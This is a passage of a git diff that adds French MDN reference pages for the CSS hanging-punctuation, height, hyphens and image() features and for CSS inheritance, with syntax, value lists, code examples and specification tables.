+<p>Cette propriété peut être définie grâce à une, deux ou trois valeurs :</p>
+
+<ul>
+ <li>Avec une valeur : on utilisera l'un des mots-clés de la liste ci-après</li>
+ <li>Avec deux valeurs :
+  <ul>
+   <li>le mot-clé <code>first</code> avec un des mots-clés parmi : <code>last</code>, <code>allow-end</code> ou <code>force-end</code></li>
+   <li>ou le mot-clé <code>last</code> avec un des mots-clés parmi : <code>last</code>, <code>allow-end</code> ou <code>force-end</code></li>
+  </ul>
+ </li>
+ <li>Avec trois valeurs :
+  <ul>
+   <li><code>first</code>, <code>allow-end</code> et <code>last</code></li>
+   <li>ou <code>first</code>, <code>force-end</code> et <code>last</code></li>
+  </ul>
+ </li>
+</ul>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Aucun caractère ne reste suspendu sur la ligne.</dd>
+ <dt><code>first</code></dt>
+ <dd>Une parenthèse ou des guillemets ouvrants au début de la première ligne d'un texte restent sur la ligne.</dd>
+ <dt><code>last</code></dt>
+ <dd>Une parenthèse ou des guillemets fermants à la fin de la dernière ligne d'un texte restent sur la ligne.</dd>
+ <dt><code>force-end</code></dt>
+ <dd>Un point ou une virgule en fin de ligne restera sur cette ligne.</dd>
+ <dt><code>allow-end</code></dt>
+ <dd>Un point ou une virgule en fin de ligne restera sur cette ligne si la justification du texte ne laisse pas l'espace nécessaire.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;
+   Lorem ipsum dolor sit amet, consectetur
+   adipiscing elit. Curabitur dignissim nunc
+   mauris, et sollicitudin est scelerisque
+   sed. Praesent laoreet tortor massa, sit
+   amet vulputate nulla pharetra ut. Proin
+   ornare commodo sodales. Class aptent
+   taciti sociosqu ad litora torquent per
+   conubia nostra, per inceptos himenaeos.
+&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p {
+  hanging-punctuation: first;
+  margin: .5rem;
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemple')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Text', '#hanging-punctuation-property', 'hanging-punctuation')}}</td>
+   <td>{{Spec2('CSS3 Text')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.hanging-punctuation")}}</p>
diff --git a/files/fr/web/css/height/index.html b/files/fr/web/css/height/index.html
new file mode 100644
index 0000000000..e8fe76af40
--- /dev/null
+++ b/files/fr/web/css/height/index.html
@@ -0,0 +1,179 @@
+---
+title: height
+slug: Web/CSS/height
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/height
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>height</code></strong> définit la hauteur de la boîte de contenu d'un élément. <a href="/fr/docs/CSS/box_model#content">La boîte de contenu</a> est à l'intérieur de la boîte de remplissage (<em>padding</em>) qui est à l'intérieur de la boîte de bordure qui est elle-même à l'intérieur de la boîte de marge de l'élément. Si la propriété {{cssxref("box-sizing")}} vaut <code>border-box</code>, cette propriété détermine la hauteur de <a href="/fr/Apprendre/CSS/Introduction_à_CSS/Le_modèle_de_boîte#Les_propriétés_des_boîtes">la boîte de marge</a>.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/height.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Les propriétés {{cssxref("min-height")}} et {{cssxref("max-height")}} surchargent la propriété <code>height</code>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeur avec un mot-clé */
+height: auto;
+
+/* Valeurs de longueur */
+/* Type &lt;length&gt;       */
+height: 120px;
+height: 10em;
+
+/* Valeurs relatives proportionnelles  */
+/* Type &lt;percentage&gt;                   */
+height: 75%;
+
+/* Valeurs globales */
+height: inherit;
+height: initial;
+height: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Une valeur de longueur absolue. Voir la page {{cssxref("&lt;length&gt;")}} pour les unités qui peuvent être utilisées.</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>La valeur exprimée correspond à un pourcentage (type {{cssxref("&lt;percentage&gt;")}}) de la hauteur du bloc englobant.</dd>
+ <dt><code>border-box </code>{{experimental_inline}}</dt>
+ <dd>Si cette valeur est présente, la valeur de longueur ou le pourcentage indiqués avant s'applique à la boîte de bordure de l'élément.</dd>
+ <dt><code>content-box</code> {{experimental_inline}}</dt>
+ <dd>Si cette valeur est présente, la valeur de longueur ou le pourcentage indiqués avant s'applique à la boîte de contenu de l'élément</dd>
+ <dt><code>auto</code></dt>
+ <dd>Le navigateur calculera une valeur et sélectionnera une hauteur pour l'élément ciblé.</dd>
+ <dt><code>fill</code> {{experimental_inline}}</dt>
+ <dd>Utilise la taille <code>fill-available</code> dans l'axe du sens de lecture ou la taille <code>fill-available</code> dans l'axe perpendiculaire au sens de lecture selon le mode d'écriture.</dd>
+ <dt><code>max-content</code> {{experimental_inline}}</dt>
+ <dd>La hauteur intrinsèque préférrée.</dd>
+ <dt><code>min-content</code> {{experimental_inline}}</dt>
+ <dd>La hauteur intrinsèque minimale.</dd>
+ <dt><code>available</code> {{experimental_inline}}</dt>
+ <dd>La hauteur du bloc englobant à laquelle on a soustrait la marge verticale, la bordure verticale et le remplissage (<em>padding</em>) vertical.</dd>
+ <dt><code>fit-content</code> {{experimental_inline}}</dt>
+ <dd>La plus grande des valeurs entre :
+ <ul>
+  <li>La hauteur minimale intrinsèque.</li>
+  <li>Le minimum entre la hauteur intrinsèque préférrée et la hauteur disponible</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  width: 250px;
+  margin-bottom: 5px;
+  border: 3px solid #999999;
+}
+
+#red {
+  height: 50px;
+}
+
+#green {
+  height: 25px;
+}
+
+#parent {
+  height: 100px;
+}
+
+#child {
+  height: 50%;
+  width: 75%;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div id="red"&gt;
+  &lt;span&gt;Je mesure 50 pixels de haut.&lt;/span&gt;
+&lt;/div&gt;
+&lt;div id="green"&gt;
+  &lt;span&gt;Et moi je mesure 25 pixels de haut.&lt;/span&gt;
+&lt;/div&gt;
+&lt;div id="parent"&gt;
+  &lt;div id="child"&gt;
+    &lt;span&gt;Je suis moitié moins haut que mon parent.&lt;/span&gt;
+  &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemple')}}</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>Veiller à s'assurer que les éléments ciblés avec une règle utilisant <code>height</code> ne sont pas tronqués ou ne masquent pas d'autre contenu sur la page lorsqu'on zoome pour augmenter la taille du texte.</p>
+
+<ul>
+ <li><a href="/fr/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">Comprendre les règles WCAG 1.4</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-scale.html" rel="noopener"><em>Understanding Success Criterion 1.4.4, W3C Understanding WCAG 2.0</em> (en anglais)</a></li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Sizing', '#width-height-keywords', 'width')}}</td>
+   <td>{{Spec2('CSS3 Sizing')}}</td>
+   <td>Ajout des mots-clés <code>max-content</code>, <code>min-content</code>, <code>available</code>, <code>fit-content</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'height')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td><code>height</code> peut désormais être animée.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'visudet.html#the-height-property', 'height')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Ajout de la prise en charge des valeurs de type {{cssxref("&lt;length&gt;")}} et précision sur les éléments auxquels la propriété s'applique.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#height', 'height')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("css.properties.height")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/Apprendre/CSS/Les_bases/Le_modèle_de_boîte">Le modèle de boîtes</a></li>
+ <li>{{cssxref("width")}}</li>
+ <li>{{cssxref("box-sizing")}}</li>
+ <li>{{cssxref("min-height")}}</li>
+ <li>{{cssxref("max-height")}}</li>
+</ul>
diff --git a/files/fr/web/css/hyphens/index.html b/files/fr/web/css/hyphens/index.html
new file mode 100644
index 0000000000..388fcaf226
--- /dev/null
+++ b/files/fr/web/css/hyphens/index.html
@@ -0,0 +1,141 @@
+---
+title: hyphens
+slug: Web/CSS/hyphens
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/hyphens
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>hyphens</code></strong> indique au navigateur comment gérer les traits d'union lors des sauts de ligne. Grâce à elle, on peut empêcher l'utilisation des traits d'union en fin de ligne, contrôler quand ils sont ajoutés ou laisser le navigateur décider.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/hyphens.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Les règles relatives aux traits d'union en fin de ligne dépendent de la langue utilisée. En HTML, la langue est définie grâce à l'attribut <code><a href="/fr/docs/Web/HTML/Attributs_globaux/lang">lang</a></code> et les navigateurs n'appliqueront les règles que si cet attribut est présent et que le dictionnaire correspondant (pour la gestion des traits d'union et des fins de ligne) est disponible. Pour des documents XML, on utilisera l'attribut <code><a href="/fr/docs/Web/SVG/Attribute/xml:lang">xml:lang</a></code>.</p>
+
+<div class="note"><strong>Note :</strong> Les règles exactes qui définissent l'application des traits d'union en fin de ligne ne sont pas explicitement définies par la spécification, aussi, le comportement peut varier entre les navigateurs.</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs avec un mot-clé */
+hyphens: none;
+hyphens: manual;
+hyphens: auto;
+
+/* Valeurs globales */
+hyphens: inherit;
+hyphens: initial;
+hyphens: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Les mots ne sont pas coupés en fin de ligne et ce même si les caractères invitent à une coupe. Les lignes se termineront uniquement sur des blancs.</dd>
+ <dt><code>manual</code></dt>
+ <dd>Les mots sont coupés là où des caractères invitant à un saut de ligne sont présents. Voir la section suivante pour plus de détails.</dd>
+ <dt><code>auto</code></dt>
+ <dd>Le navigateur est libre de couper les mots là où il l'estime approprié selon les règles qu'il choisit. Les emplacements de coupe suggérés par certains caractères devraient être privilégiés par rapport aux coupes automatiques.</dd>
+</dl>
+
+<div class="note"><strong>Note :</strong> Le comportement défini par <code>auto</code> dépend de la langue indiquée par le document. Aussi, il faut indiquer la langue via l'attribut HTML <code>lang</code> pour s'assurer que les fins de ligne et les traits d'union sont bien gérés selon la langue indiquée.</div>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Suggérer_des_emplacements_de_coupe_pour_les_lignes">Suggérer des emplacements de coupe pour les lignes</h2>
+
+<p>Deux caractères Unicode peuvent être utilisés manuellement pour indiquer des emplacement où effectuer des sauts de ligne :</p>
+
+<dl>
+ <dt>U+2010 (HYPHEN)</dt>
+ <dd>Un trait d'union « dur » qui indique un emplacement indiqué pour un saut de ligne. Même si la ligne n'est pas coupée à cet endroit, le trait d'union est affiché.</dd>
+ <dt>U+00AD (SOFT HYPHEN)</dt>
+ <dd>Un trait d'union « doux ». Ce caractère n'est pas affichée de façon visible. Il indique au navigateur un emplacement où effectuer le saut de ligne si nécessaire. En HTML, on peut utiliser l'entité <code>&amp;shy;</code> pour insérer ce caractère.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans cet exemple, on crée trois classes CSS pour illustrer chacune des configurations possibles pour la propriété <code>hyphens</code>.</p>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p {
+  width: 55px;
+  border: 1px solid black;
+ }
+p.none {
+  -webkit-hyphens: none;
+  -ms-hyphens: none;
+  hyphens: none;
+}
+p.manual {
+  -webkit-hyphens: manual;
+  -ms-hyphens: manual;
+  hyphens: manual;
+}
+p.auto {
+  -webkit-hyphens: auto;
+  -ms-hyphens: auto;
+  hyphens: auto;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;ul&gt;
+  &lt;li&gt;&lt;code&gt;none&lt;/code&gt;: aucun trait d'union, dépassement si nécessaire
+    &lt;p lang="en" class="none"&gt;An extreme&amp;shy;ly long English word&lt;/p&gt;
+  &lt;/li&gt;
+  &lt;li&gt;&lt;code&gt;manual&lt;/code&gt;: un trait d'union uniquement à &amp;amp;hyphen; ou &amp;amp;shy; (si nécessaire)
+    &lt;p lang="en" class="manual"&gt;An extreme&amp;shy;ly long English word&lt;/p&gt;
+  &lt;/li&gt;
+  &lt;li&gt;&lt;code&gt;auto&lt;/code&gt;: un trait d'union où l'algorithme l'estime nécessaire
+    &lt;p lang="en" class="auto"&gt;An extreme&amp;shy;ly long English word&lt;/p&gt;
+  &lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<figure>
+<p>{{EmbedLiveSample("Exemples", "100%", "490'")}}</p>
+</figure>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Text", "#hyphens-property", "hyphens")}}</td>
+   <td>{{Spec2("CSS3 Text")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.hyphens")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("content")}}</li>
+</ul>
diff --git a/files/fr/web/css/héritage/index.html b/files/fr/web/css/héritage/index.html
new file mode 100644
index 0000000000..c5595da1e4
--- /dev/null
+++ b/files/fr/web/css/héritage/index.html
@@ -0,0 +1,76 @@
+---
+title: Héritage
+slug: Web/CSS/Héritage
+tags:
+  - CSS
+  - Guide
+  - Reference
+translation_of: Web/CSS/inheritance
+---
+<div>{{CSSRef}}</div>
+
+<p>Pour <a href="fr/R%c3%a9f%c3%a9rence_CSS">chaque propriété CSS</a>, la spécification indique si, par défaut, cette propriété est héritée ou non. Cela permet de définir le comportement qu'on observera lorsqu'aucune valeur n'est spécifiée pour une propriété pour un élément donné.</p>
+
+<h2 id="Propriétés_héritées">Propriétés héritées</h2>
+
+<p>Lorsqu'aucune valeur n'est spécifiée pour une<em> propriété héritée</em> sur un élément, l'élément récupère la <a href="/fr/docs/Web/CSS/Valeur_calculée">valeur calculée</a> de cette propriété appliquée à son élément parent. Seul l'élément racine du document possède <a href="/fr/docs/Web/CSS/Valeur_initiale">la valeur initiale</a> donnée via la spécification.</p>
+
+<p>Un exemple caractéristique d'une propriété héritée est la propriété {{cssxref("color")}}. En définissant la règle de style :</p>
+
+<pre class="brush: css"> p { color: green; }
+</pre>
+
+<p>Sur le fragment HTML suivant :</p>
+
+<pre class="brush: html"> &lt;p&gt;Ce paragraphe contient du &lt;em&gt;texte mis en emphase text&lt;/em&gt;.&lt;/p&gt;
+</pre>
+
+<p>On obtient le résultat suivant :</p>
+
+<p>{{EmbedLiveSample("Propriétés_héritées")}}</p>
+
+<p>Les mots « texte mis en emphase » apparaîtront en vert, car l'élément <code>em</code> a hérité de la valeur de la propriété {{cssxref("color")}} de l'élément <code>p</code>. Il n'obtient pas la valeur initiale de la propriété (qui est la couleur utilisée par l'élément racine lorsque la page ne spécifie aucune couleur).</p>
+
+<h2 id="Propriétés_non_héritées">Propriétés non héritées</h2>
+
+<p>Lorsqu'aucune valeur n'est définie pour un élément, pour une<em> propriété non héritée</em>, l'élément prendra <a href="/fr/docs/Web/CSS/Valeur_initiale">la valeur initiale</a> de cette propriété (telle qu'indiquée par la spécification).</p>
+
+<p>Un exemple caractéristique de propriété non héritée est la propriété {{cssxref("border")}}. En définissant la règle de style :</p>
+
+<pre class="brush: css"> p { border: medium solid; }
+</pre>
+
+<p>Sur le fragment de code HTML :</p>
+
+<pre class="brush: html"> &lt;p&gt;Ce paragraphe contient du &lt;em&gt;texte mis en emphase text&lt;/em&gt;.&lt;/p&gt;
+</pre>
+
+<p>On obtient le résultat suivant :</p>
+
+<p>{{EmbedLiveSample("Propriétés_non_héritées")}}</p>
+
+<p>Les mots « texte mis en emphase » n'auront pas de bordure (car la valeur initiale de la propriété {{cssxref("border-style") }} est <code>none</code>).</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Le mot-clé {{cssxref("inherit") }} permet aux auteurs de pages web de définir l'héritage de façon explicite. Il fonctionne aussi bien pour les propriétés héritées que pour celles qui ne sont pas héritées.</p>
+
+<p>Il est possible de contrôler l'héritage de toutes les propriétés grâce à la propriété raccourcie {{cssxref("all")}} afin d'appliquer la valeur indiquée sur toutes les propriétés.</p>
+
+<p>Ainsi :</p>
+
+<pre class="brush: css">font: {
+  all: revert;
+  font-size: 200%;
+  font-weight: bold;
+}</pre>
+
+<p>permettra d'annuler la mise en forme de l'agent utilisateur pour l'ensemble des propriétés sauf si celles-ci sont fournies via une feuille de styles de l'utilisateur (qui sont alors utilisées). Ensuite, la taille du texte est doublée et celui-ci est mis en gras.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("inherit")}}, {{cssxref("initial")}}, {{cssxref("unset")}} et {{cssxref("revert")}}</li>
+ <li><a href="/fr/docs/Web/CSS/Valeur_calculée">La notion de valeur calculée</a></li>
+ <li><a href="/fr/docs/Web/CSS/Valeur_initiale">La notion de valeur initiale</a></li>
+</ul>
diff --git a/files/fr/web/css/image()/index.html b/files/fr/web/css/image()/index.html
new file mode 100644
index 0000000000..0be7c11f52
--- /dev/null
+++ b/files/fr/web/css/image()/index.html
@@ -0,0 +1,176 @@
+---
+title: image()
+slug: Web/CSS/image()
+tags:
+  - CSS
+  - Fonction
+  - Reference
+translation_of: Web/CSS/image()
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La fonction CSS <code><strong>image</strong></code><strong><code>()</code></strong> définit une image (type {{cssxref("&lt;image&gt;")}}) à la façon du type {{cssxref("&lt;url&gt;")}} mais avec des fonctionnalités supplémentaires comme la définition de la directionnalité, la possibilité d'indiquer une image par défaut si l'image initiale n'est pas prise en charge, l'affichage d'une partie de l'image ou le choix de la couleur à utiliser par défaut si aucune des images indiquées ne peut être affichée.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Attention à ne pas confondre cette notation fonctionnelle CSS avec le constructeur {{DOMxRef("HTMLImageElement/Image", "<code>Image()</code> pour <code>HTMLImageElement</code>","",1)}}.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">{{CSSSyntax("image()")}}
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>image-tags</code>{{optional_inline}}</dt>
+ <dd>La directionnalité de l'image, la valeur <code>ltr</code> pourra être utilisée afin d'indiquer que l'image est orientée de gauche à droite et la valeur <code>rtl</code> indiquera de droite à gauche.</dd>
+ <dt><code>image-src</code>{{optional_inline}}</dt>
+ <dd>Zéro, une ou plusieurs URL ({{CSSxRef("&lt;url&gt;")}}) ou chaînes de caractères ({{CSSxRef("&lt;string&gt;")}}) indiquant des sources d'image et qui contiennent éventuellement des identifiants de fragment.</dd>
+ <dt><code>color</code>{{optional_inline}}</dt>
+ <dd>Une couleur par défaut. Cette couleur sera utilisée par défaut si aucune image n'est trouvée ou prise en charge parmi les images fournies via <code>image-src</code>.</dd>
+</dl>
+
+<h3 id="Gestion_de_la_directionnalité">Gestion de la directionnalité</h3>
+
+<p>Le premier paramètre de la fonction <code>image()</code> est optionnel et indique la directionnalité de l'image. Lorsque ce paramètre est utilisé et que l'image est utilisée au sein d'un élément ayant la directionnalité opposée, l'image sera renversée horizontalement pour les modes d'écriture horizontaux. Si ce paramètre n'est pas utilisé, l'image ne sera pas renversée.</p>
+
+<h3 id="Fragments_dimage">Fragments d'image</h3>
+
+<p>Une différence fondamentale entre <code>url()</code> et <code>image()</code> est la possibilité d'ajouter un identifiant de fragment d'image. Un identifiant de fragment est donné par : un point de départ défini par ses coordonnées x et y et par une largeur et une hauteur. Cela permet de ne sélectionner qu'une section de l'image source. La section ainsi définie devient une image à part entière aux yeux du moteur de rendu.</p>
+
+<pre class="brush:css notranslate">background-image: image('monimage.webp#xywh=0,20,40,60');</pre>
+
+<p>Avec l'exemple précédent, l'image d'arrière-plan utilisée sera une section de l'image <em>myImage.webp</em> commençant à la coordonnée (0px,20px), ayant une largeur de 40px et une hauteur de 60px.</p>
+
+<p>La syntaxe pour l'identifiant de fragment <code>#xywh=#,#,#,#</code> prend quatre arguments numériques séparés par des virgules. Les deux premiers arguments représentent les coordonnées X et Y du point de départ pour la section, la troisième valeur correspond à la largeur de la portion et la quatrième correspond à la hauteur. Par défaut, ces coordonnées et ces mesures sont exprimées en pixels. La <a href="https://www.w3.org/TR/media-frags/#naming-space">définition de la dimension spatiale de la spécification des média</a> indique que les pourcentages peuvent également être pris en charge.</p>
+
+<pre class="brush: css notranslate">xywh=160,120,320,240        /* créera une image sur 320x240 à x=160 et y=120 */
+xywh=pixel:160,120,320,240  /* créera une image sur 320x240 à x=160 et y=120 */
+xywh=percent:25,25,50,50    /* créera une image sur 50%x50% à x=25% et y=25% */</pre>
+
+<p>Les fragments d'image peuvent également être utilisés avec la notation <code>url()</code>. La syntaxe <em>#xywh</em>=#,#,#,# est rétrocompatible car elle sera ignorée si elle n'est pas comprise et elle ne rendra pas la source invalide si elle est utilisée avec la notation <code>url()</code>. Si le navigateur ne prend pas en charge les notations pour les fragments de média, il ignorera la définition du fragment et affichera l'image intégralement.</p>
+
+<p>Les navigateurs qui prennent en charge <code>image()</code> prennent également en charge la notation pour les fragments. Ainsi si le fragment fourni est invalide dans la source pour <code>image()</code>, l'image résultante sera considérée invalide.</p>
+
+<h3 id="Couleur_par_défaut">Couleur par défaut</h3>
+
+<p>Si les deux derniers arguments sont utilisés et dans le cas où les images fournies sont invalides, la fonction <code>image()</code> génèrera une image à partir de la couleur indiquée. Cette couleur apparaîtra uniquement dans le cas où l'image source n'est pas utilisable. Ainsi, si on a choisi une image sombre sur laquelle afficher du texte clair, autant prévoir une couleur sombre au cas où afin de garantir un contraste acceptable.</p>
+
+<p>Il est possible de ne pas définir d'image source et de ne passer qu'une couleur comme argument.</p>
+
+<p>À la différence de {{cssxref("background-color")}} dont la couleur sera placée derrière l'ensemble des images d'arrière-plan, on peut utiliser <code>image()</code> afin de placer des couleurs sur d'autres images.</p>
+
+<p>La taille du rectangle de couleur appliqué peut être défini grâce à la propriété {{cssxref("background-size")}}. Ce comportement diffère de <code>background-color</code> qui définit une couleur pour couvrir l'ensemble de l'élément. <code>image(color)</code> et <code>background-color</code> pourront être déplacés grâce aux propriétés {{cssxref("background-clip")}} et {{cssxref("background-origin")}}.</p>
+
+<h2 id="Examples" name="Examples">Exemples</h2>
+
+<h3 id="Utiliser_des_images_prenant_en_compte_la_directionnalité">Utiliser des images prenant en compte la directionnalité</h3>
+
+<pre class="brush: html notranslate">&lt;ul&gt;
+  &lt;li dir="ltr"&gt;La puce est une flèche pointant à droite et située à gauche.&lt;/li&gt;
+  &lt;li dir="rtl"&gt;La puce est la même flèche mais renversée pour pointer à gauche.&lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<pre class="brush: css notranslate">ul {
+  list-style-image: image(ltr 'rightarrow.jpg');
+}</pre>
+
+<p>Pour les éléments de la liste allant de gauche à droite (ceux avec <code>dir="ltr"</code> ou qui héritent de cette direction depuis leur ancêtre), l'image pour la puce sera utilisée telle quelle. Les éléments de la liste avec <code>dir="rtl"</code> (que ce soit explicitement défini comme ici ou que cette direction provienne de la direction par défaut du document, par exemple un document en arabe ou en hébreu), l'image sera affichée à droite et sera renversée horizontalement (de la même façon qu'avec <code>transform: scalex(-1)</code>). Le texte sera également affiché de gauche à droite.</p>
+
+<p>{{EmbedLiveSample("Utiliser_des_images_prenant_en_compte_la_directionnalité","100%","200")}}</p>
+
+<div>
+<h3 id="Afficher_une_partie_sprite" name="Afficher_une_partie_sprite">Afficher une partie (<em>sprite</em>)</h3>
+
+<pre class="brush: html notranslate">&lt;div class="box"&gt;Vous pouvez survoler cet élément pour voir un autre curseur.&lt;/div&gt;
+</pre>
+
+<pre class="brush:css notranslate">.box:hover {
+   cursor: image("https://mdn.mozillademos.org/files/16411/sprite.png#xywh=32,64,16,16");
+}</pre>
+
+<p>Lorsque l'utilisateur survole la boîte, le curseur changera pour afficher une section d'un <em>sprite</em> mesurant 16 pixels de large et de haut et commençant à x=32 et y=64 sur l'image totale.</p>
+
+<div>{{EmbedLiveSample("Afficher_une_partie_sprite","100%","100")}}</div>
+</div>
+
+<div>
+<h3 id="Fournir_des_images_alternatives">Fournir des images alternatives</h3>
+
+<pre class="brush:css notranslate">.help::before {
+  content: image("try.webp", "try.svg", "try.gif");
+}</pre>
+
+<p>Dans cet exemple, le navigateur affichera une image comme contenu généré précédent tous les éléments avec la classe <code>help</code>. Si le navigateur prend en charge le format WebP, ce sera <code>try.webp</code> qui sera affichée, sinon si le navigateur prend en charge le format SVG, ce sera <code>try.svg</code> qui sera affichée et sinon, ce sera <code>try.gif</code> qui sera utilisée.</p>
+</div>
+
+<div>
+<h3 id="Placer_une_couleur_sur_une_image_en_arrière-plan">Placer une couleur sur une image en arrière-plan</h3>
+
+<pre class="brush:css notranslate">.quarterlogo {height: 200px; width: 200px; border: 1px solid;}</pre>
+
+<pre class="brush:css notranslate">.quarterlogo {
+  background-image:
+    image(rgba(0, 0, 0, 0.25)),
+    url("https://mdn.mozillademos.org/files/12053/firefox.png");
+  background-size: 25%;
+  background-repeat: no-repeat;
+}</pre>
+
+<pre class="brush: html notranslate">&lt;div class="quarterlogo"&gt;If supported, a quarter of this div has a darkened logo&lt;/div&gt;
+</pre>
+
+<p>Dans l'exempel précédent, on placera un masque noir semi-transparent sur le logo Firefox utilisé comme image d'arrière-plan. Si on avait utilisé la propriété <code>background-color</code> à la place, la couleur aurait été placée sous le logo et non sur lui. De plus, le conteneur entier aurait eu cette couleur en arrière-plan. Avec <code>image()</code> et {{cssxref("background-size")}} (tout en empêchant l'aimge de se répéter grâce à {{cssxref("background-repeat")}}), le voile noir ne couvrira qu'un quart du conteneur.</p>
+
+<div>{{EmbedLiveSample("Placer_une_couleur_sur_une_image_en_arrière-plan","100%","220")}}</div>
+</div>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
